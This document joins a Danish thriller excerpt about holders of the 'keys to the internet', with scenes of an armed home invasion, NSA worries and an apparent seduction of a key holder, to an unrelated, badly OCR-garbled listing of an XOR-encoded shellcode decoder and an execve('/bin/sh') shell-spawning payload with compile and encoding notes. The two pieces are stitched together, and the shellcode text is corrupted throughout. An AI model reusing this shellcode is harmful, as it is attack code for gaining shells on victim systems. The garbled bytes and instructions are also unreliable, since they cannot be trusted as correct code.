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Hvis du genkender personer og begivenheder, så husk at dette er en fiktiv fortælling.

Åsa Schwarz





  Kungsholmen, Stockholm

Rebecka slår øjnene op og stirrer ud i mørket.

Hun lytter efter sine børn, men hører ingenting fra deres værelser. Ikke nogen host. Ingen gråd. Ingen trissende fødder.
    Men noget føles anderledes i soveværelset. Rebecka klemmer øjnene sammen. Rummet er mørkt og stille. Hun skærper blikket.
    Møblernes konturer kan anes i det svage lys fra gadelygten udenfor. Hun rækker ud efter sengelampen, men standser midt
    i bevægelsen.

Koldt metal presses mod hendes tinding.

Hun stivner. Rædslen skærer i maven. Der er nogen i rummet.

– The key, hvisker en mandestemme i hendes øre.

Det engelske lyder gebrokkent, men der er noget bekendt ved stemmen. Hun ved ikke, hvad han taler om. Panikken gør, at hun
    ikke kan tænke klart, ikke kan fokusere. Hun mærker en varm ånde mod sin kind og en svag lugt af sved. Hun løfter blikket
    og ser en mand stå ved sengegavlen, bøjet over hende. Ansigtet er skjult af en sort elefanthue.

Pistolløbet presses hårdere mod hendes hoved.

Rebecka har aldrig følt sig så hjælpeløs før. Hun løber tre dage om ugen. Hun er stærk og veltrænet, selvom det kun er lidt
    over et år siden, hun fødte et barn. Men hvad hjælper det, når man har en pistol rettet mod sit hoved? Hun har dyne og
    T-shirt på, og alligevel føler hun sig nøgen. Prisgivet. Forsvarsløs.

Børnene.

Bare børnene ikke vågner. Tankerne farer rundt i hovedet på hende. Hendes øjne leder efter en vej ud, beregner mulighederne
    for at flygte. Hele sit voksne liv har Rebecka lavet risikoanalyser. Hendes hjerne arbejder på højtryk. Så opdager hun,
    at manden ikke er alene. Der står en skikkelse i døråbningen. Hendes muligheder indsnævrer sig. Der er ingen vej ud.
    Hun har oddsene imod sig.

– The key, hvisker stemmen igen.

Rebecka forsøger at forstå, hvad han taler om. Det er den eneste måde, hun kan slippe ud af situationen på. Den eneste måde
    at få mændene så langt væk fra hendes børn som muligt.

Men inden hun når at bede ham forklare, går det op for hende, hvilken nøgle han taler om. Han vil have den nøgle, hun har
    svoret at forsvare med sit liv. Erkendelsen slår ned, som en bombe, i mellemgulvet. Hun troede at løftet var symbolsk.
    At hun aldrig ville behøve at gøre andet, end at rejse til Washington fire gange om året. Hun tænkte aldrig på den som
    en rigtig nøgle. Den var noget mere, noget vigtigere, selvom den også bare var en puslespilsbrik i et symbolsk ritual.
    Hun havde aldrig troet, at nogen ville stjæle den.

Men nu står han der, en fremmed mand i hendes soveværelse, og vil have nøglen til internettet. Hun kan høre på hans åndedræt,
    at han er nervøs, stresset. Hun svarer på engelsk, og giver ham det eneste mulige svar:

– Nej, det går ikke.

Hun mærker, hvordan pistolens kolde metal borer sig ind i huden, da den bliver trykket hårdere mod hendes tinding. Hun må
    anstrenge sig for ikke at trække sig væk. Han står stille, høj og truende, siger ikke noget. Rebecka hører en lyd. En
    dør åbnes. Hun hører sit eget hjerte hamre i brystet.

Ikke børnene. For Guds skyld ikke børnene.

Loftslampen bliver tændt. Hun misser med øjnene og forsøger at fokusere i det stærke lys. Først ser hun kun konturer, siden
    den anden mand. Han er lille og robust, også klædt i elefanthue. Af ansigtet ses kun to utålmodige, mandelbrune øjne.
    Hans jeans er mørke og trøjen er grå. Rebecka skriger, da hun opdager, hvad han holder i sine arme. Oliver sover roligt.
    Sutten vibrerer i hans mund, når han sutter på den i søvne. Ansigtet er så fredfyldt, så fint, som kun et etårigt barns
    ansigt kan være det. Helt ubekymret sover han mod en fremmed mands skulder. Manden har taget Olivers blå bamse med. Det
    ødelagte øre hænger skævt. Bamsen sidder fastklemt mellem dem, som for at berolige den lille dreng. Manden klapper drengen
    på hovedet, kærligt og forsigtigt. Han sænker langsomt hånden til bæltet. Han tager en pistol frem og holder den mod
    Olivers hoved. Hun holder op med at trække vejret. Pistolen ser enorm ud i forhold til Olivers lille, bløde krop. Det
    sorte metal skinner i skæret fra lampen.

– The key, hører Rebecka igen.

Hun ser på sit barn. Hans bløde hud, det bølgede hår. Den buttede hånd, der hænger ned mod gulvet. Der er ingenting, der
    er vigtigere end ham. Hun har skabt ham, båret ham i sig i ni måneder. Hans liv er i hendes hænder. Han stoler på hende,
    søger trøst hos hende, kaster sig mod hende og ved, at hun altid griber ham. Hun er hans mor. Så enkelt er det.

– Den ligger i sikkerhedsboksen, siger hun, og nikker i retning af et mørkt egetræsskab, som står overfor sengen. Jeg kan
    åbne den.

Manden, der holder Oliver, tager et skridt mod skabet og åbner det, så en sikkerhedsboks kommer til syne. Rebecka bider sig
    hårdt i læben. Hun mærker, hvordan hun dirrer i hele kroppen. Dette er hendes plan B, den sidste og eneste hun har. Alarmen,
    der sidder på egetræsskabets dør, er tilkoblet politiet, og den går, så snart skabet åbnes.

Manden forsøger at kigge nærmere på skabet, men har svært ved at bøje sig ned med Oliver på skulderen.

– Jeg kan tage ham nu, siger Rebecka og rækker sine arme ud mod Oliver. Jeg giver jer koden.

Bare du ikke kigger for indgående på skabslågen. Bare du ikke opdager alarmen.

Hun forsøger at fokusere sit blik på noget andet end undersiden af skabsdøren. Mændene ser på hinanden, som for at tage en
    fælles beslutning. Den ene mand giver Oliver til Rebecka, mens den anden fortsat holder pistolen mod hendes tinding.
    Oliver klynker i søvne, men slapper straks af, da han mærker den velkendte varme og duft fra sin mor. Hun holder ham
    hårdt i sin favn, og mærker den søde duft af sit barn. Hun stryger ham forsigtigt over hovedet og mærker det silkeagtige
    hår mod sine fingerspidser. Der er stadig flere timer til det begynder at blive lyst udenfor. Rebecka hører en politibil
    sætte udrykning på i det fjerne. Hendes lejlighed ligger kun få blokke fra den store politistation på Kungsholmen. Hun
    trækker vejret stødvist. Forsøger at fornemme om sirenen kommer nærmere. Displayet på sikkerhedsboksen blinker. Rebecka
    kan de seks cifre udenad. Hvis nogen vækkede hende midt om natten, ville hun kunne lire dem af, både forfra og bagfra.
    Men nu trækker hun tiden ud. Ser tænksom ud. Trykker Oliver ind til sig, hårdt og længe. Mændene begynder at blive utålmodige.
    Nede på gaden sænker en bil farten.

– Det er de første seks decimaler i Pi, siger hun langsomt for at vinde tid.

- 141592? spørger manden, som står nærmest sikkerhedsboksen.

Hendes puls stiger og håndfladerne bliver svedige. Hun havde ikke regnet med, at han skulle opdage hendes bluf. Hun ville
    bare trække tiden ud, forsinke dem nogle sekunder. Hun fortryder øjeblikkeligt. Det er ikke det rigtige tidspunkt at
    spille smart. Hun må beskytte sit barn. Hun må beskytte Oliver. Hun vender sig diskret, så han bliver holdt så langt
    væk fra manden som muligt.

– Jeg løj. Det er den forkerte kode.

Nu lyder der hårde bank på yderdøren.

– Det er politiet. Luk op! Befaler en autoritær kvindestemme. Manden, der holder pistolen mod Rebeckas tinding, bander.

- Jeg tæller til tre, og så kommer jeg ind, informerer politibetjenten ved døren.

Rebecka knuger Oliver tæt ind til sig, forsøger at dække hele den lille skabning med sin krop. Han begynder at vågne, at
    protestere.

Trykket fra pistolen forsvinder i nogle få sekunder, mens manden ser sig om efter en flugtvej. Instinktivt ruller hun sig
    væk fra ham, ud og ned på den modsatte side af sengen. Oliver spræller og skriger. Hun lægger sig over ham, mens hun
    hører, hvordan døren i gangen bliver sparket ind.

Rebecka bidder tænderne sammen og trykker en lille fægtende hånd ind under sig. Følelserne af bekymring og panik blander
    sig med hinanden. Hun råber den rigtige kode ud i luften. Ingen kode eller nøgle eller noget som helst andet er mere
    værd end hendes barn.





  Manhattan, New York

Professor McDerman går langs fortovet, fordybet i sine egne tanker. Den klare, friske efterårsvind leger med hans røde hår.
    Jakken har han ladet stå åben. Han er fem blokke fra sin lejlighed. Han går fremadlænet med hænderne på ryggen, men nu
    og da tager han den ene hånd frem og føler på konturerne af nøglen, der hænger i en halskæde under hans skjorte. Sådan
    gør han altid, når han tænker. Den er helt uanseelig og ligner en forvokset dagbogsnøgle. Hvis man ikke ved, hvor vigtig
    den er, kan man umuligt regne det ud. Han er en af de syv nøglebærere, der rejser til Washington fire gange om året.
    Men lige nu er det noget helt andet, han tænker på.

McDerman er bekymret; meget bekymret. Skandalen omkring National Security Agency’s aflytninger er meget mere omfattende end
    han først troede. Selvfølgelig ligger NSA under forsvarsdepartementet og har ansvar for alle typer af aflytning i USA,
    men selv de har egne regler og retningslinjer.

For nogle uger siden blev han stillet nogle famlende spørgsmål af et par journalister. Spørgsmålene var hypotetiske, men
    interessante. Han havde aldrig kunnet forudse, at det skulle blive starten på afsløringen af NSA’s forehavende. Artiklen,
    der var blevet publiceret i The Guardian for nogle dage siden, havde chokeret alle, ikke mindst ham selv. De
    dokumenter, der er blevet lækket af Snowden, har bevist så meget mere, end nogen kunne forestille sig. Alle i branchen
    ved, at NSA aflytter alle mulige. Efter at have forsket i kryptografi hele sit liv har McDerman ingen illusioner, når
    det gælder NSA’s lyst til at indsamle information.

Men det, der nu er kommet frem i lyset, har sat spørgsmålstegn ved løsninger for krypterings troværdighed.

NSA knækker ikke bare krypteringer, de infiltrerer organisationer og påvirker standarder og udvikler bagdøre i produkter,
    så de kan aflytte trafik. Forud er foregået en kamp mellem dem, der lavede krypteringer, og dem, der forsøgte at knække
    dem. Nu har NSA i stedet gjort krypteringerne elendige fra begyndelsen. Der er ganske enkelt ikke noget, der er helligt
    længere. Kryptering, der plejede at være en smuk kunstart, har de besudlet og gjort beskidt.

McDerman mumler vredt for sig selv, og ønsker at han var franskmand. Så ville han have lejet en gyllespreder og læsset en
    bunke gødning af foran NSA’s hovedkvarter.

– Gylle, siger han højt ud i luften. Nogle gange sker det bare. Hans tanker former sig ubevidst til ord, når han bliver oprørt.

En teenagedreng med omvendt kasket stirrer overrasket på ham, og holder afstand, da de passerer hinanden på fortovet.

Men nu er McDerman ikke franskmand, men amerikansk professor. Han må nøjes med at gå til situationen med en videnskabelig
    tilgang. Det fremgik ikke af de publicerede artikler, præcis hvad NSA havde gjort for at knække så store mængder af krypteret
    information. Efter at have tænkt over det, besluttede McDerman sig for at skrive en blogpost om, hvordan de muligvis
    var gået til værks. Det var hans personlige, men meget kvalificerede gæt. Det er en time siden han skrev den og lagde
    den op. Det føltes godt at have fået luft for sine tanker. Næsten lige så godt som at læsse gylle af. Han ved, bloggen
    bliver fulgt af den slags folk, han gerne vil diskutere sagen med. Indlægget kommer til at blive vendt og drejet af verdens
    skarpeste hjerner.

Telefonen ringer i lommen. Ringetonen er kendingsmelodien fra Star Trek. Han kan se på displayet, at opkaldet er fra universitetets
    rektor, men han kan næsten ikke genkende stemmen i røret. Manden er oprørt og bekymret, hvilket er meget ulig ham. Stemmen
    går i falset, da en lang række af ord som politisk umuligt, terroristlagre og inddragede forsikringspenge strømmer
    ud af headsettet.

Rektoren har fået et opkald fra højere sted, der kræver at McDermans blogpost bliver slettet omgående.

Vreden samler sig i McDermans bryst. De vil censurere ham. En professor. Og ikke i et hvilket som helst emne. NSA vil bagbinde
    en af USAs bedste krypteringseksperter. Han ender som endnu et led i kæden af mennesker, der trues til tavshed.

– Men hvad blev der af ytringsfriheden? protesterer han. Forstår rektoren ikke, hvor vigtigt det her er?

Rektoren beklager i den anden ende af røret, men står fast ved beslutningen. Det her er ude af hans hænder. Der er intet,
    han kan gøre. McDerman ser på uret. Blogindlægget har været ude i femogtres minutter.

– Jeg fjerner det, så snart jeg kommer hjem, siger han så.

Rektoren takker og lægger på. McDerman slentrer langsomt ind på espressobaren, der ligger på hjørnet, og bestiller en dobbelt
    af en ung, smilende servitrice med blond hestehale. En lille omvej burde være nok. Han havde ikke lovet at gå direkte
    hjem. På bardisken ligger en avis, som han bladrer i uden at læse.

Han skæver til venstre, da en tynd, mørkhåret fyr med velplukkede øjenbryn sætter sig to stole fra ham. Nydelig fyr. Han
    har sikkert italienske rødder, tænker McDerman. Lige min type. Han dufter nok af violer.

Siden McDermans seneste bekendtskab pakkede sine ting og flyttede til Miami, har det stået grelt til på kærlighedsfronten.
    Du elsker dine computere mere end du elsker dig selv, havde han sagt, inden han rejste. McDerman havde forsøgt
    at forklare, hvad der gør, at han kan sidde i dagevis foran skærmen, hvilke interessante problemer han både kan opdage
    og løse.

Det er ikke computerne i sig selv, han elsker, men den logik, de er bygget op omkring. At arbejde med it-sikkerhed er som
    at spille skak med et uendeligt antal brikker. Men det havde været som at tale for døve øren. Drengen var taget til Miami
    og lod McDerman alene tilbage.

Under normale omstændigheder ville han forsætte med at skæve til italieneren et par stole væk, for at forsøge at skabe kontakt,
    for at se, om der kunne findes en gensidig interesse. Men i dag er han ikke i humør til det. Der er vigtigere ting at
    tænke på.

Han tager mobiltelefonen frem og åbner appen til sin blogkonto. Fra den kan han uden besvær slette indlægget her og nu, men
    det behøver rektoren ikke vide. Han tager et kig på statistikken: Endnu ingen delinger. Han sætter sig ned og drikker
    sin kaffe langsomt. Han betragter rækken af fotografier på hylden bag baren. De er taget i New York i begyndelsen af
    det forrige århundrede. En arbejder hænger med benene højt oppe i et stillads, en lille pige leger med en hund på et
    asfalteret fortov. 1920’ernes New York ser altid fantastisk ud på sort-hvide fotografier.

Telefonen giver en lyd fra sig.

Det er en meddelelse om, at der er ekstra høj trafik på bloggen. Da McDerman undersøger sagen nærmere, ser han, at Bruce
    Schneier, en af verdens mest kendte it-sikkerhedseksperter, har citeret og delt indlægget til sine fem tusind følgere.
    Nu, hvor indholdet er begyndt at sprede sig, kan han vende hjem. Mørket har allerede lagt sig over byen, men gadelygterne
    lyser stærkt. McDerman begynder at gå mod sin lejlighed. En dame med en træt gravhund går langsomt foran ham. Hundens
    korte ben holder en alt for tyk mave oppe. Dens snude er gammel og grå, men snuser interesseret ud i luften, da de passerer
    en kebabstand. Det går virkelig langsomt, tænker McDerman.

Forbi dem passerer stressede jakkesætsklædte familiefædre. Han ser på sin telefon: Endnu flere har læst hans blogpost, endnu
    flere har delt og kopieret indholdet. Nu kan han slette blogindlægget. Informationen kommer alligevel til at findes,
    spredt over nettet. Det kan ikke længere standses. Fjerner han det nu, vil alle vide, hvad der er sket, uden han behøver
    at indgive en formel klage.

Han åbner en stor glasdør og går mod elevatoren. Gulvet er af marmor, og der er fire meter til loftet. En krystalkrone hænger
    ned i midten. Hans øjne søger efter portneren. Der er tomt bag skranken, intet menneske i sigte. Han kalder spørgende
    ud i rummet, men får ikke noget svar. “Bemandet reception 24 timer i døgnet”, står der i præsentationen af lejlighedskomplekset.
    For McDerman er det ekstra vigtigt, idet han ejer nogle af New Yorks fineste computere. Ingen burde kunne bryde ind i
    dem, men det er for dyrt at miste hardwaren. Han trækker på skuldrene og går videre. Selv portnere er mennesker, tænker
    han, og tager elevatoren op. Men det lykkes ham ikke helt at undertrykke den uro han mærker i maven. Han ryster på hovedet,
    han ved godt, at han er latterlig.

Jeg behøver ikke at være paranoid, bare fordi jeg er sikkerhedsekspert.

Elevatoren bevæger sig opad, etage efter etage. Han kaster et blik ud af dens rude, ned i entréen.

Stadig ingen portner i syne.





  Mayfair, London

Sir Finlay Rees-Mogg går med hurtige skridt gennem Mayfairs gader. Det er koldt. Han trykker hagen ned i halstørklædet og
    holder sin iPad hårdt under armen. Londons fugtige luft kryber ind gennem frakkens uld og køler kroppen.

– Dash it! udbryder han, da hans håndsyede, italienske sko glider på den glatte kantsten, og pandehåret ryger ned i øjnene.

Han genfinder balancen og stryger håret væk fra panden med en vant bevægelse. Han drejer rundt om hjørnet. Foran sig øjner
    han Guinea Grill, en oase i den kolde by. Røde pelargonier blomstrer stadig i krukkerne, der hænger på hver sin side
    af restaurantens dør. Lygtepælen, foran det brune teglhus, ser ud til at være taget ud af en af børnenes Narnia-bøger.

Da Sir Finlay Rees-Mogg åbner den tunge trædør, omsluttes han af en velkendt duft af grillet kød og tærte. Han sænker skuldrene,
    her kan han slappe af. Det her er hans andet hjem. Der er varmt og hyggeligt. Tjeneren hilser hjerteligt på ham. Selvom
    han utallige gange har sagt, at hushovmesteren gerne må kalde ham Moggie, så insisterer han alligevel på at sige Sir.
    Sir Rees-Mogg.

Moggie ved, at hans Eton-britisk har den effekt på folk. Specielt på de dage, hvor han er klædt i jakke eller skjorte. Da
    er det helt umuligt at blive mødt af en afslappet attitude. Det er egentlig ikke, fordi han har stort behov for det,
    når han er på bar. Det er mere i andre situationer, som for eksempel når han arbejder med sin forskning. Mange af de
    bedste indenfor hans område går med hættetrøjer og laver high-fives når de opdager nye huller i sikkerheden. Moggie har
    ikke lavet en eneste high-five hele sit liv. Da han var yngre, følte han sig udenfor hackerfælleskabet.

Nu har han indset, at vejen til fælleskabet ikke går gennem at klæde sig anderledes, eller at forsøge at fjerne dialekten.
    Den eneste vej er at blive bedst. Moggie er god til at være bedst. Specielt når det gælder computere. Nu er han docent
    i cybersikkerhed og kryptografi på Royal Holloway, et af Englands fremmeste universiteter inden for feltet. Snart kommer
    han formentlig til at have mulighed for at blive indstillet til et professorat.

Mental high-five.

En af de største sejre har han allerede vundet, da han blev udnævnt til krypteringsofficer for, hvad mange anser for at være
    verdens vigtigste computersystem. Jeg har en af nøglerne til internettet, plejer han at sige, når han prøver
    at være folkelig. Derefter må han bide sig i læben, for ikke at holde en times forelæsning om krypteringsnøgler og netværk.

Det var ikke let at blive nøglebærer. Han er velvidende om, at han egentlig ikke er tilstrækkeligt kendt i internetkollektivet
    og ikke er nær så etableret som mange af de navne, der også var oppe at vende. Inden han havde indsendt den formelle
    ansøgning, havde han spist sig igennem et antal frokoster og middage, for at tre sværvægtere inden for området skulle
    vide, at han både havde integritet, intelligens og kendskab til de tekniske aspekter.

Det er ganske få, der har et dybere kendskab til både hele internettets opbygning og dets sikkerhedsfunktioner. Han er en
    af dem, og han ville tage opgaven særdeles alvorligt. Det gjaldt bare om at overbevise alle andre om det. Men hvis nogen
    havde forstået den systematik han havde gjort brug af, og den energi han havde lagt i at infiltrere fællesskabet, var
    han nok aldrig blevet nøglebærer. Mange ville have hævet øjenbrynene. Sådan gør man bare ikke.

Moggie bliver vist hen til sit sædvanlige bord, der står under et maleri, som forestiller bøfler, der drikker ved en flod.
    De nederste dele af væggene i restauranten er dækket af mørke træpaneler, mens de øverste er fyldt med forskellige malerier
    i guldrammer.

Restauranten er som altid helt fyldt op. Kun bordet ved siden af, står uden gæster. Det er formentligt reserveret, ligesom
    hans eget var det. Moggie tager forsigtigt sine skindhandsker af, og lægger dem på stolen ved siden af. Derefter lægger
    han stofservietten i sit skød, og bestiller en oksekøds- og nyretærte og en øl. IPad’en lægger han foran sig på den hvide
    dug. Han nyder bare at sidde i fred en stund.

Hverdagsmiddagene plejer at være kaotiske hos familien ReesMogg med tre små børn, som alle er under seks år. Men i morges
    havde Sarah taget børnene med på toget til hendes forældre i Northumberland. Moggie kan ånde ud og få et par dage for
    sig selv. Bare ham og computerne. Måske også en øl eller to her på Guinea Grill.

En skikkelse stryger forbi ham, idet han skal til at skrive den seksten tegn lange adgangskode på iPad’en. Da han løfter
    blikket, ser han en blond kvinde presse sig ind, og sætte sig ved bordet ved siden af. Foran sig, lægger hun en stor,
    sort håndtaske. At dømme efter bumpet det giver, da hun lægger den, er den tung. Fingrene, som holder fast om taskens
    remme, er lange, huden er lys og neglene velplejede og dækket af et diskret lag lak. Moggie tager en ekstra dyb vejrtrækning.

Han tvinger sit blik væk og dykker ned blandt artiklerne i web-magasinet, Dark Reading. Han læser om, hvordan NSA
    kendte til sikkerhedshullerne, men ikke fortalte noget. Både de og andre kan have udnyttet dem for at indhente information
    om landets sikkerhed, men også for at samle oplysninger, der kan øge organisationens konkurrencedygtighed. Mange stater
    bruger sine sikkerhedstjenester til at indsamle patenter og anden information, der kan hjælpe de enkelte landes næringsliv.

– Har du en cigaret? hører Moggie en stemme spørge, og ser forvirret op.

Kvinden fra nabobordet står ved siden af ham, og ser spørgende ud. De brune øjne og mørke, velplejede øjenbryn sladrer om,
    at håret antageligvis er farvet blond, selvom det ser naturligt ud.

– Well, no, jeg ryger ikke.

Kvinden trækker på skuldrene, men gør ikke tegn til at flytte sig. Moggie skæver til hånden, der nu hviler på dugen. Neglene
    er mellemlange og perfekte. De gør ham nysgerrig på, hvordan det ville være, først at slikke på én og siden tage hele
    fingerspidsen i munden.

– Jeg hedder Ulrika, siger hun, smiler og rækker hånden frem.

Hun taler på en syngende måde, en accent der formentlig har sine rødder i Skandinavien.

– Moggie, en fornøjelse.

Huden er blød, næsten fugtig. Moggie skynder sig at slippe hånden. Han vil ikke risikere at kvinden skal fornemme, hvad der
    foregår i hans fantasi.

– Venter du på nogen? spørger hun og gransker ham omhyggeligt. Nogle få fregner spredt ud over næsen, får hende til at se
    yngre ud end hun sikkert er. Fireogtredive, femogtredive, gætter Moggie. Men han har aldrig været særligt god til at
    gætte folks alder.

Hun sætter sig ned på sin stol igen.

Han strækker sig og stryger nogle nogle hår væk fra panden. Opmærksomheden føles godt. Han ved, at han, rent objektivt, ser
    okay ud og generelt ses som et godt parti. Derimod er det længe siden, at en kvinde har vist interesse. Det vrimler ikke
    ligefrem med kvinder i it-sikkerhedsbranchen. Omkring elleve procent, har han hørt et sted. Så er der Sarah, selvfølgelig.
    Men hun er for det meste vred og stresset. Han får et knus, når de skal sove, og hvis han er heldig, bliver det et par
    gange om måneden til en hurtig omgang mellem barnegråden. Hendes negle er kortklippede og uplejede. Børnene fylder hele
    hendes verden. Han lader ikke til at indgå i den længere.

– Jeg er her alene, svarer Moggie. Og du?

- Det er jeg også. Jeg er her i London for at besøge min søster, men hun arbejder i aften. Så jeg havde tænkt mig bare at
    tage lidt mad og studere lidt.

Moggie nikker. Studere? Dash it! Hun er måske meget ung, tænker han, og vender tilbage til sin iPad for at scrolle mellem
    artiklerne. I øjenkrogen ser han, hvordan hun tager en mursten af en bog frem og åbner den forsigtigt med sine smalle
    fingre, så hun lander et sted omkring midten. Der er noget bekendt ved bogen, og til sidst tager nysgerrigheden overhånd.

– Hvad læser du?

Da hun slår bogen sammen, for at vise ham forsiden, forstår han, hvorfor den virker så bekendt. Der står CISSP med store
    bogstaver på omslaget. Det er verdens mest kendte certificering i teknisk sikkerhed, som man først kan få efter mindst
    fem år i branchen. Moggie kan ikke lade være med at udbryde:

– Fancy that! Arbejder du med it-sikkerhed? Hele Ulrikas ansigt lyser op:

- Ja, så du kender altså CISSP?

- Indeed.

- Virkelig? Hvad arbejder du med?

Moggie begynder at fortælle om sin forskning i netværkssikkerhed. Da han mærker, hvor interesseret Ulrika er, forsætter han
    med at fortælle om sin opgave som nøglebærer. Hun får et beundrende glimt i øjet. Hun, om nogen, forstår storheden i
    det hele, og stiller alle de rigtige spørgsmål. Det her er noget hun kun kender til fra aviserne, forklarer hun ivrigt.
    Nu har hun mulighed for at tale med en, der ved, hvordan det virkeligt er.

Moggie mærker med fingrene langs konturerne af nøglebundtet, der ligger i hans bukselomme. Der er seks nøgler i det: Portnøglen,
    dørnøglen, nøglen til hans kontor på arbejdet, bilnøglen, cykelnøglen, og så en af en helt anden karakter. Nøglen til
    internettet. Han brænder af lyst til at tage den op, og vise den for Ulrika.

Han tvinger sig selv til at overveje sagen et øjeblik. Der kræves foruden hans nøgle, mindst fire til, for at kunne opdatere
    krypteringsnøglen til systemet som styrer internettet. Fem ud af syv nøgler skal være i Washington samtidigt. Derudover
    findes en hel del andre sikkerhedsforanstaltninger også. Der er ingen risiko ved at vise hende nøglen, konstaterer han.
    Desuden bryder han ikke nogen sikkerhedsforeskrifter, snarere tværtimod. At uddanne andre i, hvordan netværket fungerer,
    er en af hans vigtigste opgaver.

Han læner sig bagover for at kunne få hånden i lommen og finde nøglebundtet frem. Han tager fat i en lille nøgle i samme
    størrelse som cykelnøglen og siger:

– Det er den her, jeg taler om. Det her er nøglen til internettet.

Ulrika fokuserer på nøglen og er stille længe. Så rækker hun en finger frem og føler på den.

– Den er så … almindelig? siger hun forundret.

- Selvfølgelig er det svært at forestille sig, at den ser sådan her ud, siger Moggie. Selv havde jeg forventet, at den ville
    være mere udsmykket, eller af guld. Men sagen er den, at det er en aldeles almindelig nøgle til en boks i et sikkerhedsskab.
    De ser ganske enkelt sådan her ud.

Ulrika nikker tavst og har stadig sit blik på nøglen, da Moggie putter den tilbage i lommen.

En tjener kommer ind med hans tærte og Ulrikas kød. Han bemærker, at hendes kød er rødt, næsten levende. Han smiler anerkendende.
    I hans bog, er det et tegn på livsglæde og sensualitet. Han kigger på hendes hænder igen, har svært ved at stoppe. De
    lange, smalle fingre holder fast i kniven, som skærer store, blodige stykker af kødet. Et levende lys rammer scenen ind.
    Det her er Moggies bedste stund meget længe. Han føler sig opstemt.

– Skal vi dele en flaske vin? spørger Ulrika, da hendes glas er tomt.

- Jolly good, svarer Moggie og vender sig om efter tjeneren.
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XOR-Gecoder for XOR-encoded shellcode by fche

compite ana 1inx using:

+ Jump (20 place the adtress of snelicode on the stack)

xor byte [esil, GmA  ; KOR current byte with oxaA
32 sheticose § f resuit is zero (DxAA - DxAN), Jump o snelicode
3 snore cecode ana 2000,

catl cecoser 5 his wia1 pusn asaress or shelloose o the stack

5 XoR-encode (0%'ed with 0xAR) shellcode (execvel"/bin/sn"))
SneTicode: db  0x9D,0x6a,XFa, 002,044,005, 0X09, X2, 052, DX, OX8S, DX, 0R3,0523,
545,072, D23, 348,05, 0523, DD 313,051, 067,023, 1X5A.

———— only comments below tnis Line———

Here is gone’s exeove-shelicode for refs if some nO0b need to change . -2
5 1z, remove the 7 at the Linestart if you <y to compile it

ou need o J0R-encode eacn byte in the shelicode wih GXAR o decode corractly (SUN)
Don't Torget o ada the marker byte, XAA, &€ the end of the shelloode

arter encoaing it, for tnis will act as a endmarker.

‘Execve( /in/sw)-sneticode by fehe

Push To stack (will be mull-terminator)
s in nex
1 in nex

usn eax
usn oxseTszzee
pusn oxesezzrar

et up ebx tor syseant
mov enx, esp + ot aaaress to /minsn in eox

et up sax for sysestt
‘sox nescs to nave oniy ruis

usn eax £ por 0200000000 on stacx

mov eax, esp § Bt aaaress to 0x00000000 in eax

set up ecx ror syseans
eox neeas <o have the arTay of [/bin/snOxD,BX00D
usn ex

oy ecx, esp

Znwoke tne syseait
oy a1, 11






